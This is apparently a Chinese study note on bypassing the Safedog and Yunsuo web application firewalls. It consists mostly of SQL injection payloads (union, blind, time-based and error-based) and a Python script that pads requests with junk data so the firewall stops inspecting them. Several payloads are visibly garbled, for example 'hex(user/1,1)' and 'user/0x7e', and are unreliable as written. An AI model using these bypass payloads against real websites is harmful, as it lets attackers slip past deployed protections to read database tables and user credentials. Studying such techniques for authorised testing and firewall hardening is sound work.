waf-bypass学习
字数 1051 2025-08-20 18:17:53
WAF Bypass 技术学习 - 安全狗与云锁绕过详解
安全狗绕过技术
联合注入绕过
版本信息:安全狗 4.0.2655
特殊运算符绕过:
- 使用
|按位或运算符 - 使用
-减号
内联注释技巧:
- 标准格式:
/*!版本号 SQL语句*/ - 版本号必须为5位数字(如11440)
- 示例:
/*!11440select*/表示MySQL版本大于11.4.40时执行
注释+换行绕过:
union select+ 注释换行 → 拦截union all select+ 注释换行 → 不拦截- 区别:union去重,union all不去重
有效Payload示例:
?id=-1' union all%23%0a select 1,group_concat(table_name),3 from `information_schema`.`tables` where table_schema='security'--+
?id=-1' union all%23%0a select 1,group_concat(column_name),3 from `information_schema`.columns where table_name='user'--+
?id=-1' union all%23%0a select 1,username,password from `users` limit 1 --+
盲注绕过
IF语句绕过:
- 安全狗过滤
and if和or if - 解决方案:在
and后添加奇数个特殊符号~~~(波浪号)!!!(感叹号)---(减号)
延时注入Payload:
?id=1' and~~~if((substr((select hex(user/1,1)>01),sleep/**/(/*!5*/),1)--+
注意:使用~~~时可能出现双倍延时现象
Bool盲注Payload:
?id=1' and!!! substr((select unhex(hex(user/**/(/*!*/))),1,1)=r
?id=1' /*!&&*/ substr(unhex(hex(user/2,1)='o'--+
报错注入绕过
Payload示例:
?id=1 /*!&&*/ /*!11440updatexml*/(1,concat/**/(0x7e,user/0x7e),1)--+
云锁绕过技术
POST请求绕过
垃圾数据填充原理:
- WAF存在检测长度限制
- 超过长度后WAF会直接放行请求
- 防止WAF检测影响业务性能
垃圾数据生成方法(Python):
import random
ls = [chr(i) for i in range(33,125)]
ls.remove("#") # 防止URL被注释
ls.remove("*") # 方便使用sqlmap
s = ""
for i in range(10000):
s = s + random.choice(ls)
print(s)
特殊技巧:
- 在Payload中插入
#可能使云锁将后续内容视为注释
GET请求绕过
注意事项:
- GET请求有长度限制
- 需要平衡垃圾数据量和长度限制
有效Payload:
&id=1' and /*!11440updatexml*/(1,concat(0x7e,(/*!11440select*/+group_concat(table_name)/**/from+information_schema.tables+where+table_schema=0x64767761),0x7e),1)--+&Submit=Submit
关键发现:
- 移除部分垃圾数据后仍可绕过
- 垃圾数据能扰乱云锁的正则规则匹配
通用绕过技巧总结
-
注释技巧:
- 使用
/*!版本号*/格式 - 结合换行符
%23%0a - 避免使用
/*!/*!/这种明显格式
- 使用
-
特殊字符:
- 反引号
`用于包裹表名/列名 - 波浪号
~、感叹号!等特殊符号干扰
- 反引号
-
编码转换:
- 使用hex编码代替字符串(如
0x7365637572697479代替'security') - 使用
unhex(hex())组合
- 使用hex编码代替字符串(如
-
函数变形:
- 在函数名后添加注释如
sleep/**/() - 使用内联注释包裹函数名
/*!11440updatexml*/
- 在函数名后添加注释如
-
垃圾数据:
- 填充足够长度的随机字符
- 避免使用可能影响解析的特殊字符(如
#、*)
-
版本特性:
- 利用特定MySQL版本号的注释特性
- 版本号必须为5位数字
通过综合运用这些技术,可以有效绕过安全狗和云锁等WAF的防护机制,但请注意这些技术仅用于安全研究和授权测试。